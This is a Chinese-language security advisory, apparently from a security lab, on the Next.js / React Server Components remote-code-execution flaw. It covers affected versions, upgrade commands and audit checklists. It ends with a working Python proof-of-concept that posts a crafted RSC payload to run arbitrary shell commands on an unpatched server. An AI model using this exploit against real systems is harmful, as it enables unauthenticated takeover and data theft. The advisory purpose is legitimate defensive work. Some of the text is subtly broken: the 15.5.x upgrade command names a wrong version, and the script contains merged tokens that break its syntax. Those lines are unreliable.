前言
在科技发展的浪潮中,每一次看似微小的技术革新,都可能撬动整个数字世界的根基。今天,我们正处在一个由Web技术驱动的全新时代,我们日常使用的办公软件、社交应用、在线购物平台,其背后都离不开一个强大的“引擎”——那就是以React为代表的现代前端框架。
它们不断进化,从最初在浏览器中运行的“客户端组件”,到如今将部分计算逻辑前置到服务器端的“服务器组件”,每一次迭代都追求着更极致的性能与更流畅的用户体验。以Next.js为代表的框架,正是这场技术革命的先锋。
然而,这场深刻的技术变革也带来了全新的、前所未有的安全挑战。当我们把渲染的权力从用户手中拿回,并赋予服务器更多动态能力时,一个潜藏的幽灵也随之浮现。
近几日,React 官方与 Next.js 团队联合发布了一则紧急安全通告,揭示了一个存在于 React Server Components (RSC) 中的严重远程代码执行漏洞,其编号为 CVE-2025-66478。该漏洞被评为 CVSS 最高风险等级 10.0,意味着攻击者无需任何认证,即可通过网络在受影响的服务器上执行任意代码。
鉴于 React 和 Next.js 在全球范围内的广泛应用,此次事件需引起所有网安人员与开发者的高度重视。如果你的项目正在使用 Next.js 15/16 的 App Router,请务必立即完成升级修补。 同时,立刻全面检查服务器状态进行安全审计!
事实上,自12月6日漏洞 PoC(概念验证代码)被公开以来,国内已监测到海量利用此漏洞进行攻击的实例,大量未及时修补的服务器已被植入恶意程序,完全失陷,
React:驱动现代 Web 的全球基石
自 2013 年由 Facebook 开源以来,React 已成为全球最受欢迎、应用最广泛的前端开发框架。从社交媒体巨头 Facebook、Instagram,到流媒体平台 Netflix,再到我们日常使用的数百万 Web 应用,无一不依赖于 React 构建其用户界面。
这股浪潮同样席卷了中国。国内众多头部互联网公司和主流应用都将 React 作为其前端技术栈的核心。例如:
-
• 字节跳动 的飞书、抖音网页版。 -
• 阿里巴巴 的钉钉、淘宝的部分新业务模块。 -
• 众多新兴的 SaaS 服务和创业公司 也普遍选择 Next.js 或 Create React App 来快速构建产品。
React 凭借其组件化的思想、虚拟 DOM 技术和庞大的生态系统,彻底定义了现代前端开发。而由 Next.js 积极实践的 Server Components,正是这项技术最前沿的代表。
然而,这次的漏洞恰恰发生在支撑 Server Components 的底层 RSC 协议之上,这意味着,在这项革命性技术的根基之处,潜藏着巨大的安全风险。
一、漏洞核心:RSC 反序列化缺陷致远程代码执行
此次漏洞的根本原因在于 React Server Components 的反序列化过程存在缺陷。攻击者可以精心构造一个恶意的 HTTP 请求,当请求到达服务器时,Next.js 在处理 RSC 协议数据的过程中会触发该缺陷,导致在服务器上下文中执行任意代码。
简单来说,这意味着:
-
• 无认证攻击: 攻击者不需要知道你的任何凭据(如用户名密码、API Key),只需要能向你的服务器发送请求即可。 -
• 服务器完全沦陷: 成功利用后,攻击者可以执行任意命令,包括但不限于: -
• 窃取所有环境变量(数据库密码、API 密钥等)。 -
• 读取、修改或删除服务器上的任何文件。 -
• 安装恶意软件,将你的服务器变为僵尸网络的节点。 -
• 接管整个服务器,进行进一步的攻击。
-
漏洞评级:CVSS 10.0 (最高风险)
二、自查:你的项目是否在风险范围?
请立即检查你的项目,满足以下 全部条件 的即为高风险受影响项目:
✅ 受影响的范围:
-
1. 使用 Next.js 的 App Router(注意:使用传统的 Pages Router 不受影响)。 -
2. 项目所使用的 Next.js 版本在以下范围内: -
• 15.0.0至15.0.4 -
• 15.1.0至15.1.8 -
• 15.2.0至15.2.5 -
• 15.3.0至15.3.5 -
• 15.4.0至15.4.7 -
• 15.5.0至15.5.6 -
• 16.0.0至16.0.6 -
• 14.3.0-canary.77及以上的 canary 测试版
-
❌ 不受影响的情况:
-
• 使用 Next.js 13.x 或 14.x 稳定版 的项目。 -
• 使用 Pages Router 的项目。 -
• 运行在 Edge Runtime 的应用。
三、应对:官方修复方案,立刻行动!
官方已针对所有受影响的稳定版本发布了修复版本。升级过程非常简单,通常只需几行命令。
升级到对应的修复版本
根据你项目的当前版本,执行以下升级命令之一:
# Next.js 15.0.x 用户
npm install next@15.0.5
# Next.js 15.1.x 用户
npm install next@15.1.9
# Next.js 15.2.x 用户
npm install next@15.2.6
# Next.js 15.3.x 用户
npm install next@15.3.6
# Next.js 15.4.x 用户
npm install next@15.4.8
# Next.js 15.5.x 用户
npm install next@5.7
# Next.js 16.0.x 用户
npm install next@16.0.7
官方安全公告:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
升级后验证清单
-
1. 确认版本: 执行 npm ls next或检查package.json文件,确保版本已更新。 -
2. 运行测试: 在本地和测试环境充分验证应用功能是否正常。 -
3. 更新锁文件: 确保 package-lock.json/yarn.lock/pnpm-lock.yaml文件已提交更新。 -
4. 清理并重构: 建议删除 .next目录,然后重新进行构建(npm run build),确保无旧缓存残留。 -
5. 部署上线: 测试无误后,尽快部署到生产环境。 -
6. 监控日志: 部署后,密切关注服务器监控和应用日志,排查是否有可疑请求。
附:漏洞 POC 脚本(仅供安全研究与授权测试使用)
为帮助安全研究人员和在受控环境下测试的工程师了解漏洞原理,我们附上本次漏洞的 POC 脚本。请切勿在未经授权的情况下对任何线上系统使用此脚本!
此脚本通过构造一个特殊的 RSC 数据块,利用 JavaScript 原型链污染和动态执行,在服务器上运行了 id 命令。
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] iflen(sys.argv) > 1else"http://localhost:3000"
EXECUTABLE = sys.argv[2] iflen(sys.argv) > 2else"id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
# 通过 process.mainModule.require 引入 child_process 模块并执行命令
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# 如果不需要命令输出,可以使用这行:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text) # 输出中可能包含命令执行结果
此脚本的存在再次敲响了警钟:漏洞的利用门槛极低,风险真实且迫在眉睫。
四、生产环境团队紧急自查清单
如果你负责多个项目或团队的基础设施,请按此流程操作:
-
1. 全面扫描: 立即扫描所有生产、测试、开发环境的 Next.js 项目版本。 -
2. 精准识别: 筛选出所有 使用 App Router 且版本在受影响范围内 的项目。 -
3. 统一升级: 为所有受影响项目执行版本升级,并更新依赖锁文件。 -
4. 预发验证: 在预发布(Staging)环境完成全面的回归测试。 -
5. 生产部署: 分批次或一次性部署到生产环境,尽量选择业务低峰期。 -
6. 事后审计: 部署后加强安全监控,检查是否有异常攻击痕迹。
特别提示: 即使你使用的托管服务商(如 Vercel)已部署临时 WAF 规则进行拦截,官方仍 强烈建议不依赖此类临时防护措施,升级到官方修复版本才是最根本的解决方案。
五、关于上游:React 本身的修复
此次漏洞的上游是 React Server Components 的实现问题(CVE-2025-55182)。如果你并非使用 Next.js,而是直接使用 React 19 并启用 RSC,同样需要升级。
React 修复版本: 19.0.1、19.1.2、19.2.1
请确保升级以下相关包:
-
• react-server-dom-webpack -
• react-server-dom-parcel -
• react-server-dom-turbopack
总结
这是一个影响广泛且危害极高的安全漏洞。React 和 Next.js 的广泛应用,意味着全球成百万级别的服务器此刻正暴露在风险之下。对于任何技术团队而言,“安全无小事”,拖延升级等于将自己的服务器和用户数据置于险境。
升级过程可能只需几分钟,但能避免无法估量的损失。请立即行动!
在日新月异的技术浪潮中,每一次革新都伴随着新的挑战。面对层出不穷的安全威胁,及时的响应和有效的防护是保障业务平稳运行的基石。
东南信科LAB,一直守护在您身边。 我们将持续关注全球安全态势,第一时间为您带来最新的漏洞预警与解决方案。如您在漏洞排查、升级过程中遇到任何困难,或需要更全面的安全评估,欢迎随时联系我们,我们的专家团队将为您提供专业支持。
让我们共同努力,构建一个更安全、更可靠的网络环境。




